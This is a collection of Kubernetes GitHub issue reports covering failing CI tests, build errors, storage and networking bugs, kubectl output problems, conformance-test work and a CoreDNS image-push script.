<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : \r \r https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gce-cos-1.11-serial\r https://k8s-testgrid.appspot.com/sig-release-1.11-blocking node-kubelet-1.11\r \r   which test s  are failing  :\r    sig-storage  persistentvolumes-local stress with local volume provisioner  serial  should use be able to process many pods and reuse local volumeschanges\r    k8s.io  variable expansion should allow substituting values in a volume subpath  feature:volumesubpathenvexpansion  nodealphafeature:volumesubpathenvexpansion   cos-stable2 \r    k8s.io  variable expansion should allow substituting values in a volume subpath  feature:volumesubpathenvexpansion  nodealphafeature:volumesubpathenvexpansion   ubuntu \r    k8s.io  variable expansion should allow substituting values in a volume subpath  feature:volumesubpathenvexpansion  nodealphafeature:volumesubpathenvexpansion   cos-stable1 \r    k8s.io  variable expansion should allow substituting values in a volume subpath  feature:volumesubpathenvexpansion  nodealphafeature:volumesubpathenvexpansion   coreos-alpha \r \r this is blocking the release of 1.11.6\r \r  /  

99% of people do not want or need arm builds.  it should not be part of the default build.  as it is, i can't even figure out how to turn it off.

kube-up should support up a true ha master configuration. this likely means: - clustered etcd - elected scheduler/kcm  - run in an asg - behind an elb  a lot of this work will hopefully be happening anyway, so this work will likely focus on doing the aws equivalents of the gce work.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : v1.3.7    environment  : -   cloud provider or hardware configuration  :  -   os    e.g. from /etc/os-release : centos 7 -   kernel    e.g.  uname -a  :linux zhouzong-1-e426f249-e94c-439d-a300-ae836e93dada 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux -   install tools  : -   others  :    what happened  : 1.after running : /home/cmcc/k8s_1.3.7/cluster/images/hyperkube/make build version=v1.3.7,the error below happened.  cp ../../../_output/dockerized/bin/linux/amd64/hyperkube /tmp/tmp.hzrr8syt3e cp: cannot stat ‘../../../_output/dockerized/bin/linux/amd64/hyperkube’: no such file or directory make:   \\   build  error 1  2.according to readme, \   first, build the binaries:$ build/run.sh hack/build-cross.sh\ , after running\  build/run.sh: no such file or directory\  \  hack/build-cross.sh: no such file or directory\     what you expected to happen  :  the necessary files for building images should be tarred together. we suggest you do it first.    how to reproduce it    as minimally and precisely as possible : always happen when you build the hypercube image.    anything else do we need to know  :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.3-container_vm-1.5-upgrade-master/21/  multiple broken tests:  failed:  k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:269 dec  7 14:50:17.857: memory usage exceeding limits:  node gke-bootstrap-e2e-default-pool-ed6c28d6-c2di:  container \ runtime\ : expected rss memory  mb  < 314572800; got 522596352 node gke-bootstrap-e2e-default-pool-ed6c28d6-jzii:  container \ runtime\ : expected rss memory  mb  < 314572800; got 541659136 node gke-bootstrap-e2e-default-pool-ed6c28d6-zlm6:  container \ runtime\ : expected rss memory  mb  < 314572800; got 522506240     issues about this test specifically:  26982  32214  33994  34035  35399  38209   failed:  k8s.io  kubectl client  k8s.io  kubectl apply should reuse nodeport when apply to an existing svc {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:471 expected error:     < errors.errorstring | 0xc821ded570>: {         s: \ error running &{/workspace/kubernetes_skew/cluster/kubectl.sh  /workspace/kubernetes_skew/cluster/kubectl.sh --server=https://35.184.55.111 --kubeconfig=/workspace/.kube/config get service redis-master --namespace=e2e-tests-kubectl-fwc27 -o jsonpath={.spec.ports 0 .nodeport}      <nil> error executing template: nodeport is not found. printing more information for debugging the template:\ \\ttemplate was:\ \\t\\t{.spec.ports 0 .nodeport}\ \\tobject given to jsonpath engine was:\ \\t\\tmap string interface {}{\\\ metadata\\\ :map string interface {}{\\\ resourceversion\\\ :\\\ 36679\\\ , \\\ creationtimestamp\\\ :\\\ 2016-12-08t00:25:13z\\\ , \\\ labels\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ name\\\ :\\\ redis-master\\\ , \\\ namespace\\\ :\\\ e2e-tests-kubectl-fwc27\\\ , \\\ selflink\\\ :\\\ /api/v1/namespaces/e2e-tests-kubectl-fwc27/services/redis-master\\\ , \\\ uid\\\ :\\\ c90ff239-bcdc-11e6-8404-42010af0002c\\\ }, \\\ spec\\\ :map string interface {}{\\\ ports\\\ :  interface {}{map string interface {}{\\\ protocol\\\ :\\\ tcp\\\ , \\\ port\\\ :6379, \\\ targetport\\\ :\\\ redis-server\\\ }}, \\\ selector\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ clusterip\\\ :\\\ 10.99.247.56\\\ , \\\ type\\\ :\\\ clusterip\\\ , \\\ sessionaffinity\\\ :\\\ none\\\ }, \\\ status\\\ :map string interface {}{\\\ loadbalancer\\\ :map string interface {}{}}, \\\ kind\\\ :\\\ service\\\ , \\\ apiversion\\\ :\\\ v1\\\ }\ \  error: error executing jsonpath \\\ {.spec.ports 0 .nodeport}\\\ : nodeport is not found\     <nil> 0xc820f99cc0 exit status 1 <nil> true  0xc8222cc5b8 0xc8222cc5d0 0xc8222cc5e8   0xc8222cc5b8 0xc8222cc5d0 0xc8222cc5e8   0xc8222cc5c8 0xc8222cc5e0   0xa97590 0xa97590  0xc82144d260}:\ command stdout:\ error executing template: nodeport is not found. printing more information for debugging the template:\ \\ttemplate was:\ \\t\\t{.spec.ports 0 .nodeport}\ \\tobject given to jsonpath engine was:\ \\t\\tmap string interface {}{\\\ metadata\\\ :map string interface {}{\\\ resourceversion\\\ :\\\ 36679\\\ , \\\ creationtimestamp\\\ :\\\ 2016-12-08t00:25:13z\\\ , \\\ labels\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ name\\\ :\\\ redis-master\\\ , \\\ namespace\\\ :\\\ e2e-tests-kubectl-fwc27\\\ , \\\ selflink\\\ :\\\ /api/v1/namespaces/e2e-tests-kubectl-fwc27/services/redis-master\\\ , \\\ uid\\\ :\\\ c90ff239-bcdc-11e6-8404-42010af0002c\\\ }, \\\ spec\\\ :map string interface {}{\\\ ports\\\ :  interface {}{map string interface {}{\\\ protocol\\\ :\\\ tcp\\\ , \\\ port\\\ :6379, \\\ targetport\\\ :\\\ redis-server\\\ }}, \\\ selector\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ clusterip\\\ :\\\ 10.99.247.56\\\ , \\\ type\\\ :\\\ clusterip\\\ , \\\ sessionaffinity\\\ :\\\ none\\\ }, \\\ status\\\ :map string interface {}{\\\ loadbalancer\\\ :map string interface {}{}}, \\\ kind\\\ :\\\ service\\\ , \\\ apiversion\\\ :\\\ v1\\\ }\ \ \ stderr:\ error: error executing jsonpath \\\ {.spec.ports 0 .nodeport}\\\ : nodeport is not found\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes_skew/cluster/kubectl.sh  /workspace/kubernetes_skew/cluster/kubectl.sh --server=https://35.184.55.111 --kubeconfig=/workspace/.kube/config get service redis-master --namespace=e2e-tests-kubectl-fwc27 -o jsonpath={.spec.ports 0 .nodeport}      <nil> error executing template: nodeport is not found. printing more information for debugging the template:     \ttemplate was:     \t\t{.spec.ports 0 .nodeport}     \tobject given to jsonpath engine was:     \t\tmap string interface {}{\ metadata\ :map string interface {}{\ resourceversion\ :\ 36679\ , \ creationtimestamp\ :\ 2016-12-08t00:25:13z\ , \ labels\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ name\ :\ redis-master\ , \ namespace\ :\ e2e-tests-kubectl-fwc27\ , \ selflink\ :\ /api/v1/namespaces/e2e-tests-kubectl-fwc27/services/redis-master\ , \ uid\ :\ c90ff239-bcdc-11e6-8404-42010af0002c\ }, \ spec\ :map string interface {}{\ ports\ :  interface {}{map string interface {}{\ protocol\ :\ tcp\ , \ port\ :6379, \ targetport\ :\ redis-server\ }}, \ selector\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ clusterip\ :\ 10.99.247.56\ , \ type\ :\ clusterip\ , \ sessionaffinity\ :\ none\ }, \ status\ :map string interface {}{\ loadbalancer\ :map string interface {}{}}, \ kind\ :\ service\ , \ apiversion\ :\ v1\ }           error: error executing jsonpath \ {.spec.ports 0 .nodeport}\ : nodeport is not found         <nil> 0xc820f99cc0 exit status 1 <nil> true  0xc8222cc5b8 0xc8222cc5d0 0xc8222cc5e8   0xc8222cc5b8 0xc8222cc5d0 0xc8222cc5e8   0xc8222cc5c8 0xc8222cc5e0   0xa97590 0xa97590  0xc82144d260}:     command stdout:     error executing template: nodeport is not found. printing more information for debugging the template:     \ttemplate was:     \t\t{.spec.ports 0 .nodeport}     \tobject given to jsonpath engine was:     \t\tmap string interface {}{\ metadata\ :map string interface {}{\ resourceversion\ :\ 36679\ , \ creationtimestamp\ :\ 2016-12-08t00:25:13z\ , \ labels\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ name\ :\ redis-master\ , \ namespace\ :\ e2e-tests-kubectl-fwc27\ , \ selflink\ :\ /api/v1/namespaces/e2e-tests-kubectl-fwc27/services/redis-master\ , \ uid\ :\ c90ff239-bcdc-11e6-8404-42010af0002c\ }, \ spec\ :map string interface {}{\ ports\ :  interface {}{map string interface {}{\ protocol\ :\ tcp\ , \ port\ :6379, \ targetport\ :\ redis-server\ }}, \ selector\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ clusterip\ :\ 10.99.247.56\ , \ type\ :\ clusterip\ , \ sessionaffinity\ :\ none\ }, \ status\ :map string interface {}{\ loadbalancer\ :map string interface {}{}}, \ kind\ :\ service\ , \ apiversion\ :\ v1\ }               stderr:     error: error executing jsonpath \ {.spec.ports 0 .nodeport}\ : nodeport is not found          error:     exit status 1      not to have occurred     issues about this test specifically:  28523  35741  37820   failed:  k8s.io  pods should not start app containers if init containers fail on a restartalways pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:913 expected     < errors.errorstring | 0xc8200e40b0>: {         s: \ timed out waiting for the condition\ ,     } to be nil     issues about this test specifically:  29954   failed:  k8s.io  job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:198 expected error:     < errors.errorstring | 0xc8200e40b0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred     issues about this test specifically:  28773  29506  30699  32734  34585  38391   failed:  k8s.io  pods should invoke init containers on a restartnever pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:729 expected     <bool>: false to be true     issues about this test specifically:  26131   failed:  k8s.io  v1job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:202 expected error:     < errors.errorstring | 0xc8200e40b0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred     issues about this test specifically:  27704  30127  30602  31070   failed:  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade should maintain responsive services  feature:masterupgrade  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:53 dec  7 11:11:49.535: failed waiting for pods to be running: timeout waiting for 1 pods to be ready /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2562       failed:  k8s.io  pods should invoke init containers on a restartalways pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:798 expected     <bool>: false to be true       failed:  k8s.io  services should be able to up and down services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:279 expected error:     < errors.errorstring | 0xc8214470a0>: {         s: \ service verification failed for: 10.99.244.137\ expected  service1-8f5jj service1-kj44d service1-mm2p0 \ received  service1-kj44d service1-mm2p0 \ ,     }     service verification failed for: 10.99.244.137     expected  service1-8f5jj service1-kj44d service1-mm2p0      received  service1-kj44d service1-mm2p0  not to have occurred     issues about this test specifically:  26128  26685  33408  36298   failed:  k8s.io  services should work after restarting apiserver  disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:372 expected error:     < errors.errorstring | 0xc820860060>: {         s: \ service verification failed for: 10.99.241.158\ expected  service2-9zdhp service2-jcn4s service2-z18sj \ received  service2-9zdhp service2-z18sj \ ,     }     service verification failed for: 10.99.241.158     expected  service2-9zdhp service2-jcn4s service2-z18sj      received  service2-9zdhp service2-z18sj  not to have occurred     issues about this test specifically:  28257  29159  29449  32447  37508   failed:  k8s.io  pods should not start app containers and fail the pod if init containers fail on a restartnever pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:1022 expected     < errors.errorstring | 0xc8200e40b0>: {         s: \ timed out waiting for the condition\ ,     } to be nil     issues about this test specifically:  27465   failed: upgradetest {e2e.go}      exit status 1     issues about this test specifically:  37745

hi,\r \r i have setup kubernetes on coreos by following this doc and everything is working ok.\r \r https://coreos.com/kubernetes/docs/latest/getting-started.html\r \r after few days, i am trying to add new worker node to the existing cluster as per this doc https://coreos.com/kubernetes/docs/latest/deploy-workers.html\r \r new server is added to the cluster and i am able to see this new node when i run \ kubectl get nodes\ \r \r but noticed that kube-proxy is not running on this new node eventhough the kube-proxy.yaml file is present at directory /etc/kubernetes/manifests/ and due to that, on deploying the pod to this node, it is unable to communicate with other pods/containers running on already existing worker nodes.\r \r i do see below error in kubelet logs continuously. but \ systemctl status docker\  shows that docker is running.\r \r e0215 15:12:57.491851 1338 container_manager_linux.go:625  error opening pid file /run/docker/libcontainerd/docker-containerd.pid: open /run/docker/libcontainerd/docker-containerd.pid: no such file or directory\r \r any ideas, why kube-proxy pod is not running on this new worker node?

1. start an api server with  --etcd-prefix=foo --storage-backend=etcd2 , populate with data, stop server\r 2. migrate etcd2 to etcd3\r 3. restart the api server with  --etcd-prefix=foo --storage-backend=etcd3 \r 4. all data is missing from the api.\r \r the etcd2 client takes the configured prefix and passes it to the etcd client as  path.join \ /\ +prefix  . the etcd3 client simply passes in the configured prefix.\r \r  path.join \ /\ +prefix   is a no-op on the default prefix   /registry , but can modify custom prefixes that did not start with a slash.\r \r cc @enj @smarterclayton

on some occasions cluster autoscaler may scale up the cluster two times. this results in growing the cluster too large. the size gets back to normal soon but the user will be forced to pay for the unneeded node for 10min/1h, depending on the cloud provider. \r \r cc: @maciekpytel @fgrzadkowski @ethernetdan @enisoc\r

seeing flakes on master:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/8177/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/8179/\r \r and on unrelated prs:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/44278/pull-kubernetes-unit/44314/

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r cannot create cherrypick pr with hack/cherry_pick_pull.sh:\r \r $ github_user=x13n hack/cherry_pick_pull.sh release-1.7 49009\r +++ updating remotes...\r fetching upstream\r fatal: refusing to fetch into current branch refs/heads/master of non-bare repository\r error: could not fetch upstream\r fetching origin\r \r   what you expected to happen  :\r \r continue executing script and create cherrypick pr.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run:\r \r github_user=x13n hack/cherry_pick_pull.sh release-1.7 49009\r \r   anything else we need to know?  :\r \r $ git remote -v\r origin\tgit@github.com:x13n/kubernetes.git  fetch \r origin\tgit@github.com:x13n/kubernetes.git  push \r upstream\thttps://github.com/kubernetes/kubernetes.git  fetch \r upstream\tnope  push \r \r /cc wojtekt@

currently the resize admission plugin - https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/persistentvolume/resize/admission.go checks for all kind of updates. \r \r this is problematic because this means that enabling the plugin blocks other kind of updates to pvc too. but pv controller in particular depends on ability to set  volumename  after pvc creation for dynamic provisioning.\r \r we need to make sure that, we are only checking for bound pvcs and only if user is trying to increase the pvc size.\r \r \r  \r cc @nickrenren @saad-ali @childsb \r \r

compare the following two outputs  note the bad alignment in the last line :\r    \r $ kubectl get clusterserviceplans -o custom-columns=name:.metadata.name,external-name:.spec.externalname,broker:.spec.clusterservicebrokername,class:.spec.clusterserviceclassref.name\r name                                   external-name   broker       class\r 86064792-7ea2-467b-af93-ac9694d96d52   default         ups-broker   4f6e6cf6-ffdd-425f-a2c7-3c9258ad2468\r cc0d7529-18e8-416d-8946-6f7456acd589   premium         ups-broker   4f6e6cf6-ffdd-425f-a2c7-3c9258ad2468\r \r $ kubectl get clusterserviceplans --use-openapi-print-columns\r name                                   external-name   broker       class\r 86064792-7ea2-467b-af93-ac9694d96d52   default         ups-broker   4f6e6cf6-ffdd-425f-a2c7-3c9258ad2468\r cc0d7529-18e8-416d-8946-6f7456acd589   premium   ups-broker   4f6e6cf6-ffdd-425f-a2c7-3c9258ad2468\r    \r \r the custom-columns string is exactly the same in both cases, but something messes up the column widths when using openapi print columns.\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r columns printed when using  --use-openapi-print-columns  are misaligned.\r \r   what you expected to happen  :\r columns in all rows should be aligned.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - deploy service catalog, patched with https://github.com/kubernetes-incubator/service-catalog/pull/1597\r - run the above two commands\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.3\ , gitcommit:\ 1ced91f2011b6d20a9572cf782762a1ca5da05c0\ , gittreestate:\ clean\ , builddate:\ 2017-11-15t23:06:17z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r  same behavior with kubectl built from current master branch \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r \r - i found that the the blended alias in import are so confused, can we modify this to be unified?\r \r   what you expected to happen  :\r \r - the alias of the same import package in different packages are unified.\r

failing job\r      sig-release-master-blocking: verify  https://k8s-testgrid.appspot.com/sig-release-master-blocking verify \r \r    failing test\r      verify.godeps  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/19960 \r \r    triage results\r     https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=verify%20godeps\r \r this seems to have started failing since 1pm 4/16.  commit changes  https://github.com/kubernetes/kubernetes/compare/2bdca2b75...1d94baad0 \r \r @bentheelder is this a sig-testing issue? if not please triage to the appropriate sig / owner.\r \r  / /  /milestone 1.11\r @kubernetes/sig-testing-bugs \r \r /cc @jberkus @tpepper \r \r /assign @bentheelder \r

i'd like to be able to tell the difference between a hard failure and a \ patch not necessary\  failure in my ci environment and i'd rather not parse the output from kubectl.  it would be helpful if, through the use of a cli flag, i could ask kubectl to return something other than a 1 if it didn't perform the patch because it wasn't necessary.\r \r 

 /area conformance\r /area test\r    \r /assign @mgdevstack \r /assign @mkurylec \r \r we have a number of tests that only have the   nodeconformance   tag that may make sense as   conformance   tests, we should identify whether these tests cases meet  or could meet  the  requirements to be promoted to conformance  https://github.com/kubernetes/community/blob/master/contributors/devel/conformance-tests.md conformance-test-requirements . we should open pr's to promote these if so.\r \r i would advise starting with the test/common cases\r \r    \r spiffxp@spiffxp-macbookpro:kubernetes  master % $ sift \  ^e it\\ . nodeconformance\  test\r test/e2e_node/volume_manager_test.go:\t\t\tit \ should remove the volume from the node  nodeconformance \ , func   {\r test/e2e_node/runtime_conformance_test.go:\t\t\t\tit testcase.description+\   conformance  nodeconformance \ , func   {\r test/e2e_node/security_context_test.go:\t\tit \ should run the container with uid 65534  nodeconformance \ , func   {\r test/e2e_node/security_context_test.go:\t\tit \ should run the container with uid 0  nodeconformance \ , func   {\r test/e2e_node/security_context_test.go:\t\tit \ should run the container with readonly rootfs when readonlyrootfilesystem=true  nodeconformance \ , func   {\r test/e2e_node/security_context_test.go:\t\tit \ should run the container with writable rootfs when readonlyrootfilesystem=false  nodeconformance \ , func   {\r test/e2e_node/security_context_test.go:\t\tit \ should allow privilege escalation when not explicitly set and uid != 0  nodeconformance \ , func   {\r test/e2e_node/security_context_test.go:\t\tit \ should not allow privilege escalation when false  nodeconformance \ , func   {\r test/e2e_node/security_context_test.go:\t\tit \ should allow privilege escalation when true  nodeconformance \ , func   {\r test/e2e_node/security_context_test.go:\t\tit \ should run the container as unprivileged when false  nodeconformance \ , func   {\r test/e2e_node/kubelet_test.go:\t\tit \ should have an error terminated reason  nodeconformance \ , func   {\r test/e2e_node/kubelet_test.go:\t\tit \ should be possible to delete  nodeconformance \ , func   {\r test/e2e_node/kubelet_test.go:\t\tit \ it should write entries to /etc/hosts  nodeconformance \ , func   {\r test/e2e_node/pods_container_manager_test.go:\t\t\tit \ top level qos containers should have been created  nodeconformance \ , func   {\r test/e2e/common/configmap_volume.go:\tit \ binary data should be reflected in volume  nodeconformance \ , func   {\r test/e2e/common/projected.go:\tit \ should be able to mount in a volume regardless of a different secret existing with same name in different namespace  nodeconformance \ , func   {\r test/e2e/common/secrets_volume.go:\tit \ should be able to mount in a volume regardless of a different secret existing with same name in different namespace  nodeconformance \ , func   {\r test/e2e/common/pods.go:\tit \ should support remote command execution over websockets  nodeconformance \ , func   {\r test/e2e/common/pods.go:\tit \ should support retrieving logs from the container over websockets  nodeconformance \ , func   {\r test/e2e/common/pods.go:\tit \ should have their auto-restart back-off timer reset on image update  slow  nodeconformance \ , func   {\r test/e2e/common/pods.go:\tit \ should cap back-off at maxcontainerbackoff  slow  nodeconformance \ , func   {\r test/e2e/common/host_path.go:\tit \ should support r/w  nodeconformance \ , func   {\r test/e2e/common/host_path.go:\tit \ should support subpath  nodeconformance \ , func   {\r

need to push the latest coredns image to gcr.io\r the 1.3.0 image is available in docker coredns/coredns:1.3.0\r \r this is the script used for pushing the image:\r \r ~~~\r  !/bin/sh\r \r if   -z \ $1\  -o -z \ $2\  -o -z \ $3\  -o -z \ $4\   ; then\r     echo \ usage: $0 <src-reg> <image> <tag> <dst-reg>\  > /dev/stderr\r     echo \ example: $0 coredns coredns 1.3.0 staging-k8s.gcr.io\  > /dev/stderr\r     exit 1\r fi\r \r src_reg=\ $1\ \r img=\ $2\ \r tag=\ $3\ \r dst_reg=\ $4\ \r tmp=\ /tmp/$random\ \r json=\ $tmp.json\ \r \r echo \ fetching source manifest\ \r docker manifest inspect ${src_reg}/${img}:${tag} > ${json}\r \r echo\r echo \ pulling source images by sha\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ ${src_reg}/${img}@\\\ , .digest, \\\ \ \\\  \  \\\r     | while read x; do docker pull $x; done\r \r echo\r echo \ tagging images with arch and os\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ docker tag ${src_reg}/${img}@\\\ , .digest, \\\  ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ pushing images\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ gcloud docker -- push ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ creating and pushing manifest\ \r platforms=$ cat ${json} | jq -j \ .manifests   | .platform.os, \\\ /\\\ , .platform.architecture, \\\ \ \\\ \  | paste -sd, \r echo manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r ~~~\r \r /cc @chrisohaver\r /cc @bentheelder\r /cc @timothysc\r /cc @aishsundar\r /cc @dims\r /assign @thockin\r \r @fturib\r \r   

 \r  \r   what happened  :\r kube-dns is configured with 114.114.114.114 for resolving external network domain names, such as www.baidu.com,kube-dns exposing services through port 53, but no other pod can access www.baidu.com, what is the reason?\r \r   what you expected to happen  :\r pod has access to www.baidu.com\r \r   how to reproduce it  as minimally and precisely as possible   :\r configuration of kube-dns:\r ! image  https://user-images.githubusercontent.com/35130894/53786100-894ff700-3f55-11e9-9706-08a370025ae2.png \r pod cannot access www.baidu.com:\r ! image  https://user-images.githubusercontent.com/35130894/53786122-9ff64e00-3f55-11e9-8e47-bd62a0353140.png \r \r   environment  :\r - kubernetes version  use  kubectl version  :1.12.1\r - os  e.g:  cat /etc/os-release  :ubuntu16.04\r \r

<!--\r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r   issue  : many e2e are using optional condition fields such as reason or message to verify whether pod is failed or reached to the expected state having known expected reason and message. \r \r these are valid scenarios but we can not promote such e2e to conformance as these reasons and messages may change over a period of time. \r \r this is observed mostly if we are expecting pods/jobs to get failed due to certain expected reason and message but failure may have tons of other reasons.\r \r references:\r 1  https://github.com/kubernetes/kubernetes/pull/74979 discussion_r263207428\r 2  https://github.com/kubernetes/kubernetes/pull/75018 pullrequestreview-213817494\r 3  https://github.com/kubernetes/kubernetes/blob/60d0ec579b376b357ca6029f8cc1cd6e70a54601/test/e2e/apps/cronjob.go l183\r 4  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/apps/cronjob.go l222\r 5  https://github.com/kubernetes/kubernetes/blob/60d0ec579b376b357ca6029f8cc1cd6e70a54601/test/e2e/autoscaling/cluster_size_autoscaling.go l181\r 6  https://github.com/kubernetes/kubernetes/blob/60d0ec579b376b357ca6029f8cc1cd6e70a54601/test/e2e/common/init_container.go l298  conformance e2e \r 7  https://github.com/kubernetes/kubernetes/blob/60d0ec579b376b357ca6029f8cc1cd6e70a54601/test/e2e/common/init_container.go l408  conformance e2e \r ........\r \r   so how such situations can be taken care while writing e2e?  \r _- verifying status and message against non-empty field would resolve this issue but there would not be preciseness of e2e behavior._ \r \r @kubernetes/sig-architecture-misc-use-only-as-a-last-resort\r @kubernetes/cncf-conformance-wg\r

environment  : -   os    e.g. from /etc/os-release : ubuntu -   install tools  : juju    what happened  :  kubeup.sh failed because i didn't have a new enough version of charm tools. we could update the logic in ubuntu-juju.sh to check for minimum versions.    what you expected to happen  :  we might as well just change this script to pull  juju  and  charm  from the snap store so that the user is getting the latest versions of those tools and we're not adding ppas to their system at all.     anything else do we need to know  :  @chuckbutler can be assigned to this bug.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-slow/517/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for pod-service: udp {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:106 oct  7 03:41:52.466: failed to find expected endpoints: tries 0 command curl -q -s 'http://10.180.3.30:8080/dial?request=hostname&protocol=udp&host=10.0.134.113&port=90&tries=1' retrieved map netserver-1:{} netserver-0:{}  expected map netserver-0:{} netserver-1:{} netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/utils/networking_utils.go:207

help message is wrong for  taint  https://github.com/kubernetes/kubernetes/blob/97ae7ccb563bfd5bd7ad62d7311608d45af7d45e/pkg/kubectl/cmd/taint.go l61 \r \r one of the  % 1 d  formats should be  % 0 d .\r \r @fabianofranz \r cc: @pwittrock \r

